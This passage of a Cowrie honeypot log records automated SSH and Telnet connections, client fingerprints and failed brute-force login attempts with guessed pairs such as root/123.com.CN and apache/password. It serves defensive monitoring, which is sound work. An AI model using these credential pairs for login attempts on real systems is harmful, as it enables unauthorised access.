ie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:56.098096Z","src_ip":"170.80.65.140","session":"5db2f82df74b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"123","message":"login attempt [splunk/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:56.626454Z","src_ip":"170.80.65.140","session":"5db2f82df74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:57.751838Z","src_ip":"170.80.65.140","session":"5db2f82df74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53862,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9b580c6743","protocol":"telnet","message":"New connection: 107.6.151.170:53862 (159.203.135.109:23) [session: ff9b580c6743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:03.101825Z"}
{"eventid":"cowrie.session.closed","duration":45.98431730270386,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:11.426588Z","src_ip":"128.199.8.54","session":"43d793467424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":48076,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6e209f7ba33","protocol":"ssh","message":"New connection: 103.216.145.2:48076 (10.17.0.5:22) [session: d6e209f7ba33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:14.274884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:14.279654Z","src_ip":"103.216.145.2","session":"d6e209f7ba33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:14.473822Z","src_ip":"103.216.145.2","session":"d6e209f7ba33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com.CN","message":"login attempt [root/123.com.CN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:15.283472Z","src_ip":"103.216.145.2","session":"d6e209f7ba33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:16.486742Z","src_ip":"103.216.145.2","session":"d6e209f7ba33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.69950008392334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:22.418744Z","src_ip":"107.6.151.170","session":"1e01ecd7cfef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.11328744888306,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:25.529241Z","src_ip":"128.199.8.54","session":"c9cd7d938207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51018,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b34124f893","protocol":"telnet","message":"New connection: 128.199.8.54:51018 (159.203.135.109:23) [session: 67b34124f893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:26.214616Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":58702,"dst_ip":"159.203.135.109","dst_port":22,"session":"5edf93542334","protocol":"ssh","message":"New connection: 216.155.93.75:58702 (159.203.135.109:22) [session: 5edf93542334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:28.153992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:28.158396Z","src_ip":"216.155.93.75","session":"5edf93542334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:28.310190Z","src_ip":"216.155.93.75","session":"5edf93542334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"test","message":"login attempt [server/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:28.948683Z","src_ip":"216.155.93.75","session":"5edf93542334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:30.102459Z","src_ip":"216.155.93.75","session":"5edf93542334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":35176,"dst_ip":"10.17.0.5","dst_port":22,"session":"18b62dd805fa","protocol":"ssh","message":"New connection: 91.92.40.13:35176 (10.17.0.5:22) [session: 18b62dd805fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:37.201294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:37.338259Z","src_ip":"91.92.40.13","session":"18b62dd805fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:37.342412Z","src_ip":"91.92.40.13","session":"18b62dd805fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"password","message":"login attempt [apache/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:38.495007Z","src_ip":"91.92.40.13","session":"18b62dd805fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:39.730478Z","src_ip":"91.92.40.13","session":"18b62dd805fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99810552597046,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:41.099790Z","src_ip":"107.6.151.170","session":"ff9b580c6743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":40734,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd4f88973ce","protocol":"ssh","message":"New connection: 38.148.249.2:40734 (10.17.0.5:22) [session: 0dd4f88973ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:42.003516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:42.007980Z","src_ip":"38.148.249.2","session":"0dd4f88973ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:42.080750Z","src_ip":"38.148.249.2","session":"0dd4f88973ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wan","password":"wan123","message":"login attempt [wan/wan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:42.394899Z","src_ip":"38.148.249.2","session":"0dd4f88973ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:26:43.473550Z","src_ip":"38.148.249.2","session":"0dd4f88973ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47394,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f734143f87f","protocol":"telnet","message":"New connection: 128.199.8.54:47394 (159.203.135.109:23) [session: 0f734143f87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:12.889842Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35530,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa6759a05992","protocol":"ssh","message":"New connection: 103.122.221.179:35530 (10.17.0.5:22) [session: fa6759a05992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:14.618274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:14.622548Z","src_ip":"103.122.221.179","session":"fa6759a05992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:14.881502Z","src_ip":"103.122.221.179","session":"fa6759a05992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.18948554992676,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:15.403965Z","src_ip":"128.199.8.54","session":"67b34124f893","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"wednesday","message":"login attempt [root/wednesday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:15.660527Z","src_ip":"103.122.221.179","session":"fa6759a05992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:16.921802Z","src_ip":"103.122.221.179","session":"fa6759a05992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40802,"dst_ip":"159.203.135.109","dst_port":23,"session":"c491172edc05","protocol":"telnet","message":"New connection: 107.6.151.170:40802 (159.203.135.109:23) [session: c491172edc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:22.700344Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":46382,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d1da43a417","protocol":"ssh","message":"New connection: 43.153.12.68:46382 (10.17.0.5:22) [session: f2d1da43a417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:28.531698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:28.536872Z","src_ip":"43.153.12.68","session":"f2d1da43a417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:28.607773Z","src_ip":"43.153.12.68","session":"f2d1da43a417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harshit","password":"harshit","message":"login attempt [harshit/harshit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:28.911353Z","src_ip":"43.153.12.68","session":"f2d1da43a417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:29.982180Z","src_ip":"43.153.12.68","session":"f2d1da43a417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41330,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fc5b93fd0a4","protocol":"ssh","message":"New connection: 147.45.199.80:41330 (159.203.135.109:22) [session: 3fc5b93fd0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:43.870047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:43.875125Z","src_ip":"147.45.199.80","session":"3fc5b93fd0a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:43.974293Z","src_ip":"147.45.199.80","session":"3fc5b93fd0a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20061995","message":"login attempt [root/20061995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:44.272882Z","src_ip":"147.45.199.80","session":"3fc5b93fd0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:45.374217Z","src_ip":"147.45.199.80","session":"3fc5b93fd0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.00905251502991,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:27:59.709273Z","src_ip":"107.6.151.170","session":"c491172edc05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52156,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfabd586eae6","protocol":"telnet","message":"New connection: 128.199.8.54:52156 (159.203.135.109:23) [session: cfabd586eae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:28:08.790910Z"}
